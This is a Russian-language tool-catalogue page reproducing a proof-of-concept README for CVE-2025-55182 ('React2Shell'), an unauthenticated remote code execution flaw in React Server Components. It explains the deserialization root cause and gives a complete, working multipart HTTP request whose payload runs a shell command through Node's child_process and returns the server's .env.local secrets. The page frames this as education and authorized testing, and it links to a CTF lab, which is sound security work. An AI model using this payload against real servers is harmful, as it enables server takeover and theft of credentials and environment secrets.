Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
poc-cve-2025-55182 — Этот репозиторий содержит POC для CVE-2025-55182, критической (оценка CVSS 10.0) уязвимости удаленного выполнения кода без предварительной аутентификации, затрагивающей React Server Components, также известной как React2Shell. | Kitploit
Инструменты/GitHubGitHub/koadt/poc-cve-2025-55182
Динамический анализ (песочница)Анализ уязвимостейАнализ КодаЭксплуатацияЭксплуатация веб-приложенийCTFТестирование на ПроникновениеОбучение и ОбразованиеРазработка Полезной НагрузкиЛаборатории и Практика
GitHubkoadt/poc-cve-2025-55182
15365 месяцев назадЕщё не проверено

poc-cve-2025-55182

Этот репозиторий содержит POC для CVE-2025-55182, критической (оценка CVSS 10.0) уязвимости удаленного выполнения кода без предварительной аутентификации, затрагивающей React Server Components, также известной как React2Shell.

РепозиторийСайт

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2025-55182 (React2Shell) - Доказательство концепции

⚠️ ПРЕДУПРЕЖДЕНИЕ: Этот репозиторий предназначен только для образовательных целей и исследований в области безопасности. Не используйте эту уязвимость против систем, которые вам не принадлежат или на тестирование которых у вас нет явного разрешения.

Обзор

Этот репозиторий содержит демонстрацию доказательства концепции для CVE-2025-55182, критической уязвимости удаленного выполнения кода без аутентификации, затрагивающей React Server Components.

Оценка CVSS: 10.0 (Критическая)

Затронутые версии:

  • React Server Components 19.0.0, 19.1.0, 19.1.1 и 19.2.0
  • Пакеты: react-server-dom-parcel, react-server-dom-turbopack, react-server-dom-webpack

Краткое описание уязвимости

CVE-2025-55182 — это уязвимость небезопасной десериализации в реализации протокола Flight компонентов React Server. Уязвимость позволяет неаутентифицированным злоумышленникам выполнять произвольный JavaScript-код на сервере путем создания вредоносных полезных нагрузок, эксплуатирующих обход цепочки прототипов и небезопасные шаблоны доступа к свойствам.

Коренная причина

Уязвимость возникает из-за того, как React Server Components десериализуют полезные нагрузки протокола Flight. При обработке ссылок на модули код использует скобочную нотацию для доступа к свойствам (moduleExports[metadata[2]]), которая проходит по всей цепочке прототипов JavaScript. Это позволяет злоумышленникам ссылаться на свойства, которые не были явно экспортированы, включая свойство constructor, которое предоставляет доступ к глобальному конструктору Function.

Комбинируя методы загрязнения прототипов с внутренними механизмами обработки фрагментов React, злоумышленник может создать полезную нагрузку, которая в конечном итоге выполняет произвольный код через конструктор Function.

Предварительные требования

  • Burp Suite Community или Professional (или любой HTTP-прокси/клиент)
  • Уязвимая версия React.js или Next.js

Инструкции по настройке

Шаг 1: Создание уязвимого проекта

Создайте новый проект, используя версию, которая включает уязвимые React Server Components:

root@kitploit:~
npx [email protected] poc-react2shell
cd poc-react2shell

Или используйте этот репозиторий.

Шаг 2: Создание тестового файла окружения

Создайте файл .env.local в корне проекта, чтобы продемонстрировать влияние уязвимости:

root@kitploit:~
SECRET_API_KEY=XXXXXXXXXXXXXXXXXXXXXXXXXXXXX

Шаг 3: Запуск сервера разработки

Запустите сервер разработки Next.js:

root@kitploit:~
npm run dev

Сервер должен запуститься на http://localhost:3000.

Шаги эксплуатации

Шаг 4: Отправка вредоносной полезной нагрузки

  1. В Burp Suite перейдите на вкладку Repeater
  2. Установите целевой URL http://localhost:3000/
  3. Скопируйте и вставьте всю полезную нагрузку в окно запроса
  4. Отправьте
Нажмите, чтобы развернуть
root@kitploit:~
POST / HTTP/1.1
Host: localhost:3000
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 Assetnote/1.0.0
Next-Action: x
X-Nextjs-Request-Id: b5dce965
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad
X-Nextjs-Html-Request-Id: SSTMXm7OJ_g0Ncx6jpQt9
Content-Length: 752

------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="0"

{
  "then": "$1:__proto__:then",
  "status": "resolved_model",
  "reason": -1,
  "value": "{\"then\":\"$B1337\"}",
  "_response": {
    "_prefix": "var res=process.mainModule.require('child_process').execSync('cat .env.local',{'timeout':5000}).toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'), {digest:`${res}`});",
    "_chunks": "$Q2",
    "_formData": {
      "get": "$1:constructor:constructor"
    }
  }
}
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="1"

"$@0"
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="2"

[]
------WebKitFormBoundaryx8jO2oVc6SWP3Sad--

Шаг 5: Анализ ответа

Ответ должен содержать содержимое вашего файла .env.local в теле ответа:

Response

Полезная нагрузка

Полезная нагрузка состоит из трех полей multipart формы:

Поле 0: Поддельный объект фрагмента, содержащий:

  • Ссылки на загрязнение прототипов ($1:__proto__:then)
  • Ссылка на Blob ($B1337), запускающая эксплуатацию
  • Загрязненный объект _response с вредоносными _prefix и _formData.get

Поле 1: Ссылка на поле 0 ($@0)

Поле 2: Пустой массив ([])

Вредоносный код в _prefix читает .env.local с помощью child_process.execSync из Node.js и встраивает результат в дайджест ошибки.

Воздействие

Эта уязвимость позволяет злоумышленникам:

  • Выполнять произвольный код на сервере
  • Читать конфиденциальные файлы (переменные окружения, конфигурационные файлы и т.д.)
  • Устанавливать обратные оболочки
  • Извлекать данные
  • Выполнять любые операции, на которые у процесса Node.js есть разрешения

Ссылки

  • Подробности CVE-2025-55182
  • Next.js-RSC-RCE-Scanner-CVE-2025-66478
  • Консультация по безопасности React
  • Консультация по безопасности Facebook
  • Каталог известных эксплуатируемых уязвимостей CISA
  • react2shellcve202555182

Практикуйте эту CVE в реальном сценарии

Хотите эксплуатировать CVE-2025-55182 в практической среде CTF? Ознакомьтесь с OSS OopsSec Store — специально уязвимой лабораторией, созданной для тренировки наступательной безопасности. Эта CVE реализована как один из флагов!


Отказ от ответственности

Это доказательство концепции предоставлено только для образовательных целей и исследований в области безопасности. Всегда убедитесь, что у вас есть явное письменное разрешение перед тестированием уязвимостей безопасности на любой системе.

Скачать инструмент